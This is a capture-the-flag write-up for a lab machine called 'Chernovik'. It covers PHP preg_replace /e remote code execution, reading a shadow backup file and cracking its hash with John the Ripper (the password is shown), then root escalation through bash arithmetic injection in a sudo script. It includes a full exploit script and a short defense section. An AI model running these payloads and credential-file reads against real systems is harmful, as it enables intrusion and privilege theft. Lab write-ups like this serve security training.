Черновик (Chernovik)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: preg_replace /e modifier RCE, SHA-512 crypt password hash cracking, Bash arithmetic evaluation injection in [[ ]], sudo privilege escalation

Summary

Pentest machine with two services: - Web: Apache 2.4.7 on port 18700 - SSH: OpenSSH 6.6.1p1 on port 18722

Черновик (Chernovik) — hackerlab

Description

Pentest machine with two services:

• Web: Apache 2.4.7 on port 18700
• SSH: OpenSSH 6.6.1p1 on port 18722

Goal: obtain root access and collect the flag from two parts.

Reconnaissance

Web Service

Discovered a hidden form for text replacement using regular expressions:

• Parameter pattern — regular expression
• Parameter replace — replacement string
• Parameter paragraph — text to process

Vulnerability 1: preg_replace /e RCE

PHP function preg_replace() with /e modifier executes code in the replacement string: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Check RCE
curl -X POST -d "pattern=/hacker/e&replace=system('id')&paragraph=hacker" \
  http://62.173.140.174:18700/

# Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Finding Credentials

 bash read-only • copy allowed Copy
# Read shadow file backup
curl -X POST -d "pattern=/x/e&replace=system('cat /etc/shadow.backup')&paragraph=x" \
  http://62.173.140.174:18700/

Found password hash for user derek:

derek:$6$t7SdSZDK$qw1vJdSKNwBE5R1AFB.Eb/zs9R3UnpAX8DBJ.gmodRGAuB6DfEflOaS5BeIpHJkAzdhO4jPAk7DaIcj2ns7WK0:18000:0:99999:7:::

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 2: Weak Password

Cracking SHA-512 crypt hash using John the Ripper:

 bash read-only • copy allowed Copy
echo 'derek:$6$t7SdSZDK$qw1vJdSKNwBE5R1AFB.Eb/zs9R3UnpAX8DBJ.gmodRGAuB6DfEflOaS5BeIpHJkAzdhO4jPAk7DaIcj2ns7WK0' > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Result: scarface1

SSH Access

 bash read-only • copy allowed Copy
ssh derek@62.173.140.174 -p 18722
# Password: scarface1

First part of the flag:

 bash read-only • copy allowed Copy
cat /home/derek/first_part
# CODEBY{a_v3ry

Vulnerability 3: Bash Arithmetic Injection

Checking sudo privileges:

 bash read-only • copy allowed Copy
sudo -l
# (ALL) NOPASSWD: /opt/guessNum.sh

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Contents of /opt/guessNum.sh script:

 bash read-only • copy allowed Copy
#!/bin/bash
read -p "Enter number: " num
if [[ $num -eq 1337 ]]; then
    echo "Correct!"
else
    echo "Wrong!"
fi

Exploitation

The [[ $num -eq 1337 ]] construct in bash performs arithmetic evaluation of the $num variable. This allows injection via array index:

 bash read-only • copy allowed Copy
# Command injection via array index
echo "a[\$(cat /root/* > /tmp/flag)]" | sudo /opt/guessNum.sh

# Read the result
cat /tmp/flag
# REDACTED}

How it works:

1. [[ $num -eq 1337 ]] evaluates $num as an arithmetic expression
2. a[$(cmd)] — array index syntax where $(cmd) gets executed
3. Command cat /root/* > /tmp/flag runs with root privileges
4. Result is written to /tmp/flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit

 bash read-only • copy allowed Copy
#!/bin/bash

TARGET="62.173.140.174"
WEB_PORT="18700"
SSH_PORT="18722"

# Step 1: RCE via preg_replace /e - get shadow backup
echo "[*] Exploiting preg_replace /e..."
SHADOW=$(curl -s -X POST \
  -d "pattern=/x/e&replace=system('cat /etc/shadow.backup')&paragraph=x" \
  "http://${TARGET}:${WEB_PORT}/")

echo "[*] Found hash, cracking with john..."
echo "$SHADOW" | grep derek > /tmp/derek_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/derek_hash.txt 2>/dev/null
PASSWORD=$(john --show /tmp/derek_hash.txt 2>/dev/null | grep derek | cut -d: -f2)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "[*] Password: $PASSWORD"
echo "[*] SSH as derek and run:"
echo "    cat /home/derek/first_part"
echo "    echo 'a[\$(cat /root/* > /tmp/flag)]' | sudo /opt/guessNum.sh"
echo "    cat /tmp/flag"

Defense

1. preg_replace /e: Use preg_replace_callback() instead of /e modifier
2. Shadow backup: Don't leave system file backups with readable permissions
3. Passwords: Use complex passwords, not from dictionaries
4. Bash arithmetic: Validate input as number: [[ $num =~ ^[0-9]+$ ]]
5. sudo: Minimize NOPASSWD rules, especially for scripts ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

• PHP preg_replace /e deprecation
• Bash Arithmetic Evaluation
• GTFOBins - sudo ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍